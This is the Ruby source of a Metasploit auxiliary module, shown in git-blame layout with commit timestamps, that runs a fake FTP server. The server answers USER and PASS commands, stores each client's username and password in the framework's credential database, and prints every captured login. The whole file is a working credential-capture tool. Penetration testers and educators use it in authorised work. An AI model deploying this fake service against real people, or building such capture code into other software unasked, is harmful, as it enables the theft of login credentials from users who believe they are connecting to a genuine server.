2008-03-02 04:46:13 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2008-03-02 04:46:13 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Authentication Capture: FTP',
|
|
|
|
'Description' => %q{
|
|
|
|
This module provides a fake FTP service that
|
|
|
|
is designed to capture authentication credentials.
|
|
|
|
},
|
|
|
|
'Author' => ['ddz', 'hdm'],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
[ 'Capture' ]
|
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
|
|
|
'Capture'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Capture'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def setup
|
|
|
|
super
|
|
|
|
@state = {}
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
|
|
|
exploit()
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_connect(c)
|
|
|
|
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
|
|
|
|
c.put "220 FTP Server Ready\r\n"
|
|
|
|
end
|
|
|
|
|
2015-07-22 06:11:43 +00:00
|
|
|
def report_cred(opts)
|
|
|
|
service_data = {
|
|
|
|
address: opts[:ip],
|
|
|
|
port: opts[:port],
|
|
|
|
service_name: opts[:service_name],
|
|
|
|
protocol: 'tcp',
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: fullname,
|
|
|
|
username: opts[:user],
|
|
|
|
private_data: opts[:password],
|
2015-07-23 20:50:50 +00:00
|
|
|
private_type: :password
|
2015-07-22 06:11:43 +00:00
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: create_credential(credential_data),
|
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
|
|
proof: opts[:proof]
|
|
|
|
}.merge(service_data)
|
|
|
|
|
|
|
|
create_credential_login(login_data)
|
|
|
|
end
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def on_client_data(c)
|
|
|
|
data = c.get_once
|
|
|
|
return if not data
|
|
|
|
cmd,arg = data.strip.split(/\s+/, 2)
|
|
|
|
arg ||= ""
|
|
|
|
|
|
|
|
if(cmd.upcase == "USER")
|
|
|
|
@state[c][:user] = arg
|
|
|
|
c.put "331 User name okay, need password...\r\n"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if(cmd.upcase == "QUIT")
|
|
|
|
c.put "221 Logout\r\n"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if(cmd.upcase == "PASS")
|
|
|
|
@state[c][:pass] = arg
|
|
|
|
|
2015-07-22 06:11:43 +00:00
|
|
|
report_cred(
|
|
|
|
ip: @state[c][:ip],
|
|
|
|
port: datastore['SRVPORT'],
|
|
|
|
service_name: 'ftp',
|
|
|
|
user: @state[c][:user],
|
|
|
|
password: @state[c][:pass],
|
|
|
|
proof: arg
|
2013-08-30 21:28:54 +00:00
|
|
|
)
|
|
|
|
|
2017-07-19 10:39:15 +00:00
|
|
|
print_good("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
@state[c][:pass] = data.strip
|
|
|
|
c.put "500 Error\r\n"
|
|
|
|
return
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def on_client_close(c)
|
|
|
|
@state.delete(c)
|
|
|
|
end
|
2008-03-02 04:46:13 +00:00
|
|
|
|
|
|
|
|
2010-03-25 01:09:04 +00:00
|
|
|
end
|